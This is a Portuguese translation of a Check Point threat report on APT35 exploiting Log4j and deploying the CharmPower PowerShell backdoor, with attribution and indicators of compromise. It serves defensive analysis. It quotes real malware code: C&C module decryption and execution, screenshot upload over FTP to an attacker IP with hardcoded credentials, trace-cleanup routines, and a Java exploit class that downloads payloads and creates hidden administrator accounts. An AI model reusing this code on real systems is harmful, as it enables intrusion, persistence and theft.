Introdução
Com o surgimento da vulnerabilidade de segurança Log4j, já vimos vários agentes de ameaças, principalmente motivados financeiramente, imediatamente adicioná-la ao seu arsenal de exploração. Não é surpresa que alguns atores patrocinados por países também tenham visto essa nova vulnerabilidade como uma oportunidade de atacar antes que alvos em potencial tenham identificado e corrigido os sistemas afetados.
O APT35 (também conhecido como Charming Kitten, TA453 ou Phosphorus), suspeito de ser um ator do estado-nação iraniano, iniciou uma varredura generalizada e tentativas de aproveitar a falha do Log4j em sistemas públicos apenas quatro dias após a divulgação da vulnerabilidade. A configuração do ataque do ator foi obviamente apressada, pois eles usaram a ferramenta básica de código aberto para a exploração e basearam suas operações na infraestrutura anterior, o que tornou o ataque mais fácil de detectar e atribuir.
Neste artigo, compartilhamos os detalhes dos ataques mais recentes do APT35 explorando a vulnerabilidade Log4j e analisamos suas atividades pós-exploração, incluindo a nova estrutura modular baseada em PowerShell chamada CharmPower, usada para estabelecer persistência, coletar informações e executar comandos.
Cadeia de infecção
Para explorar a vulnerabilidade Log4j (CVE-2021-44228), os invasores escolheram um dos JNDI Exploit Kits de código aberto disponíveis publicamente, desde que removido do GitHub devido à sua enorme popularidade após o surgimento da vulnerabilidade. Existem vários documentos de análise que explicam como a vulnerabilidade pode ser explorada, portanto, pularemos os detalhes da etapa de exploração real.
Para explorar a máquina vulnerável, os invasores enviam uma solicitação elaborada para o recurso público da vítima. Nesse caso, a carga útil foi enviada nos cabeçalhos User-Agent ou HTTP Authorization:
Após a exploração bem-sucedida, o servidor de exploração cria e retorna uma classe Java maliciosa para ser executada em uma máquina vulnerável. Essa classe executa um comando do PowerShell com uma carga útil codificada em base64:
Eventualmente, ele baixa um módulo do PowerShell de um URL de bucket do Amazon S3 hxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txte o executa:
CharmPower: backdoor modular baseado em PowerShell
A carga útil do PowerShell baixada é o principal módulo responsável pela comunicação básica com o servidor C&C e pela execução dos módulos adicionais recebidos. O módulo principal executa as seguintes operações:
- Validar conexão de rede – Após a execução, o script aguarda uma conexão ativa com a Internet fazendo solicitações HTTP POST para google.com com o parâmetro
hi=hi. - Enumeração básica do sistema – O script coleta a versão do sistema operacional Windows, o nome do computador e o conteúdo de um arquivo
Ni.txtno$APPDATAcaminho; o arquivo é presumivelmente criado e preenchido por diferentes módulos que serão baixados pelo módulo principal. - Recuperar domínio C&C – O malware decodifica o domínio C&C recuperado de um URL codificado
hxxps://s3[.]amazonaws[.]com/doclibrarysales/3localizado no mesmo bucket do S3 de onde o backdoor foi baixado. - Receba, descriptografe e execute módulos de acompanhamento.
Depois que todos os dados são coletados, o malware inicia a comunicação com o servidor C&C enviando periodicamente solicitações HTTP POST para a seguinte URL no domínio recebido:
<C&C domain>/Api/Session.
Cada solicitação contém os seguintes dados POST:
Session="[OS Version] Enc;;[Computer name]__[Contents of the file at $APPDATA\\Ni.txt]"
O servidor C&C pode responder de duas maneiras:
- NoComm – Nenhum comando, que faz com que o script continue enviando solicitações POST.
- String Base64 – Um módulo para executar. O módulo é criptografado com uma cifra de substituição simples e codificado em base64. Um fragmento da rotina de decodificação é fornecido abaixo:
function decrypt($Cipher) {
$Cipher = $Cipher.Replace("############", "+");
$Cipher = $Cipher.Replace("************", "%");
$Cipher = $Cipher.Replace("____________", "&");
$Cipher = $Cipher.Replace("_c_c_c_c_c_", "+");
$Cipher = $Cipher.Replace("_x_x_x_x_x_", "%");
$Cipher = $Cipher.Replace("_z_z_z_z_z_", "&");
$b = $Cipher.ToCharArray()
[array]::Reverse($b)
$ReverseCipher = -join($b)
$EncodedText = [char[]]::new($ReverseCipher.length)
for ($i = 0; $i -lt $ReverseCipher.length; $i++) {
if ($ReverseCipher[$i] - ceq '*') {$EncodedText[$i] = '='}
elseif ($ReverseCipher[$i] - ceq 'l') {$EncodedText[$i] = 'a'}
elseif ($ReverseCipher[$i] - ceq 'L') {$EncodedText[$i] = 'A'}
elseif ($ReverseCipher[$i] - ceq 'c') {$EncodedText[$i] = 'b'}
elseif ($ReverseCipher[$i] - ceq 'C') {$EncodedText[$i] = 'B'}
<...>
}
return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedText))
}
Os módulos baixados são scripts do PowerShell ou código C#. Cada módulo decodificado tem o seguinte formato: language~code~modulename~action, onde a ação pode ser stop, startou downloadutil. O último é relevante apenas para módulos do PowerShell.
O fragmento de código a seguir lida com a análise do módulo e executa o método de execução relevante dependendo do idioma do módulo:
[string[]]$arr = $CommandPart.Split("~");
[string]$language = $arr[0];
[string]$Command = $arr[1];
[string]$ThreadName = $arr[2];
[string]$StartStop = $arr[3];
if ($StartStop -ne "-" -and $StartStop -ne "") {
if ($language -like "*owers*") {
if ($StartStop -like "*wnloaduti*") {
&(gcm *ke-e*) $Command;
} elseif ($StartStop -eq "start") {
$scriptBlock = [Scriptblock]::Create($Command)
Start-Job -ScriptBlock $scriptBlock -Name $ThreadName
} elseif ($StartStop -eq "stop") {
&(gcm *ke-e*) $Command; }
} elseif ($language -like "*shar*") {
if ($StartStop -eq "start") {
$ScriptBlock = {Param ([string] [Parameter(Mandatory = $true)] $Command)
Add-Type $Command
[AppProject.Program]::Main()}
Start-Job $ScriptBlock -ArgumentList $Command -Name $ThreadName
} elseif ($StartStop -eq "stop") {
&(gcm *ke-e*) $Command;}
O módulo principal também pode alterar o canal de comunicação: uma vez a cada 360 loops C&C, ele pode recuperar um novo domínio do bucket S3 dos atores:
if ($loopCount -eq 360) {
Write - Output "-------------------------------------------"
$loopCount = 0
$Domain = getDomain
}
Os módulos enviados pelo C&C são executados pelo módulo principal, com cada um reportando os dados de volta ao servidor separadamente. Esse ciclo de C&C continua indefinidamente, o que permite que os agentes de ameaças coletem dados na máquina infectada, executem comandos arbitrários e possivelmente intensifiquem suas ações realizando um movimento lateral ou executando malware de acompanhamento, como ransomware.
Módulos
Cada módulo é gerado automaticamente pelos invasores com base nos dados enviados pelo módulo principal: cada um dos módulos contém um nome de máquina codificado e um domínio C&C codificado.
Todos os módulos que observamos contêm código compartilhado responsável por:
- Criptografando os dados.
- Exfiltrando dados coletados por meio de uma solicitação POST ou carregando-os em um servidor FTP.
- Enviando logs de execução para um servidor remoto.
Além disso, cada módulo realiza algum trabalho específico. Conseguimos recuperar e analisar os próximos módulos:
- Liste os aplicativos instalados.
- Faça capturas de tela.
- Listar processos em execução.
- Get OS and computer information.
- Execute um comando predefinido do C&C.
- Limpe todos os rastreamentos criados por diferentes módulos.
Módulo de aplicativos
Este módulo usa dois métodos para buscar aplicativos instalados. A primeira é enumerar Uninstallos valores do registro:
function Get-InstalledPrograms {
[CmdletBinding()]
param (
[Parameter()]
[string]
$DisplayName
)
Get-ItemProperty -Path @(
'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*',
'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*',
'HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*',
'HKCU:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*'
) -ErrorAction SilentlyContinue | Where-Object {
-not $PSBoundParameters.ContainsKey('DisplayName') -or (
$_.PSObject.Properties.Name -contains 'DisplayName' -and $_.DisplayName -like $DisplayName
);
} | Select-Object DisplayName| Sort-Object -Property DisplayName;
}
O segundo método é usar o comando wmic:
cmd.exe /c "wmic product get name, InstallLocation, InstallDate, Version /format:csv > $FilePath"
Módulo de captura de tela
Observamos as variantes C# e PowerShell deste módulo, cada uma com recursos para capturar várias capturas de tela com a frequência especificada e carregar as capturas de tela resultantes para o servidor FTP com credenciais codificadas no script:
SendByFTP("ftp://" + "54.38.49.6" + ":21/" + "VICTIM-PC__" + "/screen/" + Name + ".jpg", "lesnar", "a988b988!@#", FilePath);
O script C# está usando um comando do PowerShell codificado em base64 para fazer uma captura de tela de várias telas:
[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
$width = 0;
$height = 0;
$workingAreaX = 0;
$workingAreaY = 0;
$screen = [System.Windows.Forms.Screen]::AllScreens;
foreach ($item in $screen) {
if($workingAreaX -gt $item.WorkingArea.X) {
$workingAreaX = $item.WorkingArea.X;
}
if($workingAreaY -gt $item.WorkingArea.Y) {
$workingAreaY = $item.WorkingArea.Y;
}
$width = $width + $item.Bounds.Width;
if($item.Bounds.Height -gt $height) {
$height = $item.Bounds.Height;
}
}
$bounds = [Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY, $width, $height);
$bmp = New-Object Drawing.Bitmap $width, $height;
$graphics = [Drawing.Graphics]::FromImage($bmp);
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size);
$savePath = "$env:APPDATA\\systemUpdating\\help.jpg";
$bmp.Save($savePath);
Módulo de Processos
Este módulo tenta capturar processos em execução usando o comando tasklist:
cmd.exe /c "tasklist /v /FO csv > $FilePath"
Módulo de Informações do Sistema
Este módulo contém vários comandos do PowerShell, que curiosamente, são comentados. O único comando executado é o comando systeminfo.
#$Path = systeminfo #$Hosts=$Path|Select-String "Host Name:" #$OSName=$Path|Select-String "OS Name:" #$RegisteredOwner=$Path|Select-String "Registered Owner:" #$SystemBootTime=$Path|Select-String "System Boot Time:" #$SystemModel=$Path|Select-String "System Model:" #$SystemType=$Path|Select-String "System Type:" #$SystemDirectory=$Path|Select-String "System Directory:" #$TimeZone=$Path|Select-String "Time Zone:" #$infos=$Hosts.ToString()+"`r`n"+$OSName.ToString()+"`r`n"+$RegisteredOwner.ToString()+"`r`n"+$SystemBootTime.ToString()+"`r`n"+$SystemModel.ToString()+"`r`n"+$SystemType.ToString()+"`r`n"+$SystemDirectory.ToString()+"`r`n"+$TimeZone.ToString() #$infos | Out-File -FilePath $FilePath #Get-Date -Format "yyyy/dd/MM HH:mm" | Out-File -FilePath $FilePath -append #ipconfig /all | findstr /C:"IPv4" /C:"Physical Address" >> $FilePath systeminfo | Out-File -FilePath $FilePath -append -Encoding UTF8
A partir dos comandos comentados, podemos ter uma ideia de como os agentes de ameaças organizam as informações do sistema, em quais dados estão interessados e o que podem levar em consideração ao enviar mais módulos.
Módulo de execução de comandos
Os agentes de ameaças podem executar comandos remotos executando este módulo especializado com ações predefinidas. Este módulo tenta executar um comando. Ele usa o Invoke-Expressionmétodo PowerShell para o módulo baseado em PowerShell, enquanto sua implementação em C# tem opções cmde PowerShell.
Durante a análise, observamos como os próximos módulos de execução de comandos são criados e enviados pelo agente da ameaça:
- Listando o conteúdo da unidade C:/ usando
cd C:/; ls; - Listar os detalhes específicos do perfil Wi-Fi usando
netsh wlan show profiles name='<Name>' key=clear; - Listando as unidades usando
Get-PSDrive.
Módulo de limpeza
Este módulo será descartado depois que os invasores terminarem sua atividade e desejarem remover quaisquer rastros do sistema. O módulo contém métodos de limpeza para artefatos relacionados à persistência no registro e pasta de inicialização, arquivos criados e processos em execução.
Este módulo contém cinco níveis codificados, dependendo do estágio de ataque, e cada um serve a um propósito diferente. O nível de execução é predeterminado pelo agente da ameaça em cada caso específico:
$Level = "level4"
if($Level -eq "level1") {
wevtutil el
}
elseif($Level -eq "level2") {
CleanStartupFolder
}
elseif($Level -eq "level3") {
CleanPersisRegistryAndFile
}
elseif($Level -eq "level4") {
CleanModules
}
elseif($Level -eq "level5") {
wevtutil el
CleanPersisRegistryAndFile
CleanStartupFolder
Remove-Item $env:APPDATA/a.ps1
Remove-Item $env:APPDATA/textmanager.ps1
Remove-Item $env:APPDATA/docready.bat
Remove-Item $env:APPDATA/pdfreader.bat
Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" -Name "databrowser"
}
CleanupModules A função tenta matar todos os processos em execução relacionados a módulos em execução anteriormente:
function CleanModules {
$ProgramFolder = $env:APPDATA + "/systemUpdating"
$files = Get-ChildItem -Path "$ProgramFolder" -Recurse | % { $_.FullName }
Foreach ($fileName in $files) {
$lastslash = $fileName.LastIndexOf("\\") + 1
$PureName = $fileName.Substring($lastslash);
taskkill /F /IM "$PureName"
Remove-Item $ProgramFolder\\* -Recurse -Force
}
}
Outra função do módulo tenta apagar indicadores adicionais que podem ser usados pelo agente da ameaça:
function CleanPersisRegistryAndFile {
Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Update" -Name "Key"
Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Update2" -Name "Key"
Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" -Name "systemUpdating"
Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" -Name "systemUpdating2"
Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "systemUpdating"
Remove-ItemProperty -Path "HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "systemUpdating2"
Remove-Item $env:APPDATA/main.ps1
Remove-Item $env:APPDATA/reserve.ps1
Remove-Item $env:APPDATA/ni.txt
}
A partir de nossa análise deste módulo, fica claro que os agentes da ameaça desejam manter a infecção na máquina pelo tempo que julgarem necessário e, uma vez alcançado o objetivo, poder desaparecer sem deixar rastro.
Atribuição
Normalmente, os atores do APT certificam-se de alterar suas ferramentas e infraestrutura para evitar serem detectados e dificultar a atribuição. APT35, no entanto, não está de acordo com esse comportamento. O grupo é famoso na comunidade de segurança cibernética pelo número de erros OpSec em suas operações anteriores e eles tendem a não se esforçar muito para mudar sua infraestrutura uma vez expostos. Não é de admirar que a operação descrita aqui tenha sobreposições significativas no código e na infraestrutura com atividades anteriores do APT35.
Sobreposições de código
Em outubro de 2021, o Google Threat Analysis Group publicou um artigo sobre o malware móvel APT35 . Embora as amostras que analisamos sejam scripts do PowerShell, a semelhança de estilo de codificação entre eles e o spyware do Android que o Google atribuiu ao APT35 chamou nossa atenção imediatamente.
- Primeiro, a implementação das funções de registro é a mesma. O aplicativo Android usa o seguinte formato para registrar suas operações no servidor C&C:
MAC=<DEVICE_NAME>&Log=<LOG>&ModuleName=<MODULE_NAME>&Status=<STATUS>
public static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedURLException, UnsupportedEncodingException {
if (haveNetworkConnection()) {
Send_Data_By_Http(Constants.Server_TargetLog, (((((("MAC=" + str) + "&Log=") + str2) + "&ModuleName=") + str3) + "&Status=") + str4);
}
}
Os módulos do PowerShell também contêm o mesmo formato de log, mesmo que os comandos sejam comentados e substituídos por outro formato. O fato de essas linhas não terem sido removidas completamente pode indicar que a mudança foi feita apenas recentemente.
function Send_Log($Log, $ModuleName, $status)
{
$http_request = New-Object -ComObject Msxml2.XMLHTTP
#$parameters = "MAC=VICTIM-PC" + "&Log=" + $Log + "&ModuleName=" + $ModuleName + "&Status=" + $status
$DataPost = "VICTIM-PC___;_" + $ModuleName + "_;_" + $Status + "_;_" + $Log
$DataPostEnc = Encrypt $DataPost
$parameters = "Data=" + $DataPostEnc
$http_request = New-Object -ComObject Msxml2.XMLHTTP
$http_request.open("POST", $TargetLog, $false)
$http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
$http_request.setRequestHeader("Content-length", $parameters.length)
$http_request.send($parameters)
}
A sintaxe das mensagens de log também é idêntica. Aqui está o código do aplicativo Android:
Functions.post_log(Functions.MAC, "Successfully Finish Monitor Permissions module.", "Monitor Permissions", "Success", Constants.Domain);
E aqui está o exemplo de código de log nos scripts:
SendLog("VICTIM-PC__", "Successfully Finish Screen module.", "Screen", "Success", TargetLog);
- As versões mobile e PowerShell usam o mesmo parâmetro exclusivo,
Stack=Overflow, na comunicação C&C:Figura 2: Uso de Stack=Overflowparâmetro no malware móvel atribuído ao APT35. Figura 3: Uso do Stack=Overflowparâmetro na versão do PowerShell.
Sobreposições de infraestrutura
De acordo com nossa análise do malware Android do APT35, o servidor C&C da amostra móvel tem os seguintes endpoints de API:
/Api/Session
/Api/GetPublicIp
/Api/AndroidTargetLog
/Api/AndroidDownload
/Api/AndroidBigDownload
/Api/AndroidHttpModuleData
/Api/HttpModuleDataAppend
/Api/IsRunAudioRecorder
/Api/IsRunClipboard
/Api/IsRunGPS
O C&C do malware PowerShell tem os seguintes endpoints de API de acordo com os módulos que conseguimos recuperar:
/Api/Session
/Api/TargetLogEnc
/Api/BigDownloadEnc
Ambos os servidores C&C para as variantes móvel e PowerShell compartilham o ponto de extremidade da API /Api/Session. Os outros endpoints da API são semelhantes, mas não completamente idênticos devido às diferenças na funcionalidade e na plataforma.
Ainda mais interessante, testes adicionais mostraram que não apenas as URLs são semelhantes, mas o domínio C&C da variante do PowerShell realmente responde às solicitações de API usadas na variante móvel.
O restante dos endpoints da API respondeu com um erro HTTP 405, que é uma resposta diferente de uma URL inexistente (/Api/RANDOM_STRINGsempre responde com um erro HTTP 404).
Nossa conclusão aqui é que o C&C da variante do PowerShell suporta o mesmo protocolo de comunicação C&C que a variante móvel. Ambos os servidores C&C estão executando um código de servidor semelhante e provavelmente são operados pelo mesmo agente de ameaças.
Caça adicional
Analisamos a infraestrutura desse ataque e fizemos algumas observações para completar o quadro:
- Todos os servidores que observamos nesta campanha são hospedados pela OVH SAS e pela Hetzner Online GmbH. Esta não é a primeira vez que o APT35 usa esses provedores de hospedagem e, combinado com o padrão específico que os domínios C&C compartilham (
0<word><letter><word>0.xyz), fornece algumas pistas para busca adicional. - Quando investigamos a infraestrutura, um dos servidores C&C que encontramos respondeu com módulos que usam
127.0.0.1como servidor C&C. Este é provavelmente um servidor de desenvolvimento, pois não o vimos em uma cadeia de infecção conhecida. O número de erros cometidos no código dos módulos também sugere que o malware baseado em PowerShell ainda está em desenvolvimento ativo. - O tempo que o servidor C&C leva para responder com um módulo e o tipo de módulo com o qual ele responde difere significativamente entre as vítimas. Pode ser uma evidência de uma operação manual do C&C, com o operador decidindo quais alvos são interessantes e quais não são.
Mais tentativas de exploração
Várias atividades rastreadas sob o nome APT35 incluem operações que variam significativamente em escopo, alvos e métodos. Existem grupos de operações que dependem fortemente de técnicas avançadas de spear phishing para fins de vigilância. Por outro lado, no ano passado, vimos evidências de que os atores também entraram na cena do ransomware. Mais uma vez aderindo ao ditado “não coloque todos os ovos na mesma cesta”, no dia seguinte ao início do ataque descrito, um subgrupo do APT35 lançou outra campanha em grande escala, visando especificamente as redes israelenses. Desta vez, em vez de utilizar o servidor de exploração Log4j de código aberto, eles fizeram sua própria implementação da exploração, mas reutilizaram a infraestrutura exposta anteriormente dedicada às operações de ransomware.
O código parcial da classe Java maliciosa, com todos os indicadores consistentes com a análise da Microsoft & The DFIR Report, mostra que os atores aproveitaram a oportunidade para combinar vários estágios de ataque para Windows e Linux em um único exploit:
public RCE() {
if (File.separator.equals("/")) {
this.download("<https://148.251.71.182/symantec_linux.x86>", "/tmp/lock");
try {
Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "chmod +x /tmp/lock ; flock -n /tmp/log.bak /tmp/lock &" });
Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "(crontab -l && echo \\"@reboot flock -n /tmp/log.bak /tmp/lock &\\") | crontab -" });
Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "sudo useradd -g -m -s /bin/bash -p $(echo P@ssw0rd1234 | openssl passwd -1 -stdin) master" });
}
catch (IOException iOException) {
iOException.printStackTrace();
}
}
else {
this.download("<https://148.251.71.182/symantec.tmp>", "c:\\\\windows\\\\temp\\\\dllhost.exe;");
String win_cmd = "Start-Process c:\\\\windows\\\\temp\\\\dllhost.exe;";
win_cmd += "net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount; Set-LocalUser -Name DefaultAccount -PasswordNeverExpires 1;";
win_cmd += "New-Itemproperty -path 'HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run' -Name 'DllHost' -value 'c:\\\\windows\\\\temp\\\\dllhost.exe' -PropertyType 'String' -Force;";
final String[] arrayOfString = { "powershell", "-c Invoke-Command", "{" + win_cmd + "}" };
try {
Runtime.getRuntime().exec(arrayOfString);
}
catch (IOException iOException2) {
iOException2.printStackTrace();
}
}
Conclusão
Toda vez que há uma nova vulnerabilidade crítica publicada, toda a comunidade InfoSec prende a respiração até que seus piores medos se tornem realidade: cenários de exploração no mundo real, especialmente por atores patrocinados pelo Estado. Como mostramos neste artigo, o caso de espera da vulnerabilidade do Log4j foi de apenas alguns dias. A combinação de sua simplicidade e o grande número de dispositivos vulneráveis tornaram essa vulnerabilidade muito atraente para atores como o APT35.
Nesses ataques, os atores ainda usaram a mesma infraestrutura ou semelhante em muitos de seus ataques anteriores. No entanto, a julgar por sua capacidade de aproveitar a vulnerabilidade do Log4j e pelas partes de código do backdoor CharmPower, os atores são capazes de mudar de marcha rapidamente e desenvolver ativamente diferentes implementações para cada estágio de seus ataques.
A plataforma Infinity da Check Point bloqueia esse ataque desde o primeiro passo.
Indicadores de Compromisso
144.217.138[.]155
54.38.49[.]6
148.251.71[.]182
0standavalue0[.]xyz
0storageatools0[.]xyz
0brandaeyes0[.]xyz
Caminhos do arquivo:
%APPDATA%\\Ni.txt
%APPDATA%\\systemUpdating\\Applications.txt
%APPDATA%\\systemUpdating\\Processes.txt
%APPDATA%\\systemUpdating\\Information.txt
%APPDATA\\systemUpdating\\help.jpg
%APPDATA%\\systemUpdating\\Shell.txt
%APPDATA%\\main.ps1
%APPDATA%\\reserve.ps1
%APPDATA%\\textmanager.ps1
%APPDATA%\\docready.bat
%APPDATA%\\pdfreader.bat
Chaves de registro:
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce
Key: systemUpdating
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce
Key: systemUpdating2
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce
Key: databrowser
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Key: systemUpdating
Path: HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Key: systemUpdating2
Path: HKCU:\\SOFTWARE\\Update
Key: Key
Path: HKCU:\\SOFTWARE\\Update2
Key: Key
Fonte: CheckPoint
Descubra mais sobre DCiber
Assine para receber os posts mais recentes por e-mail.
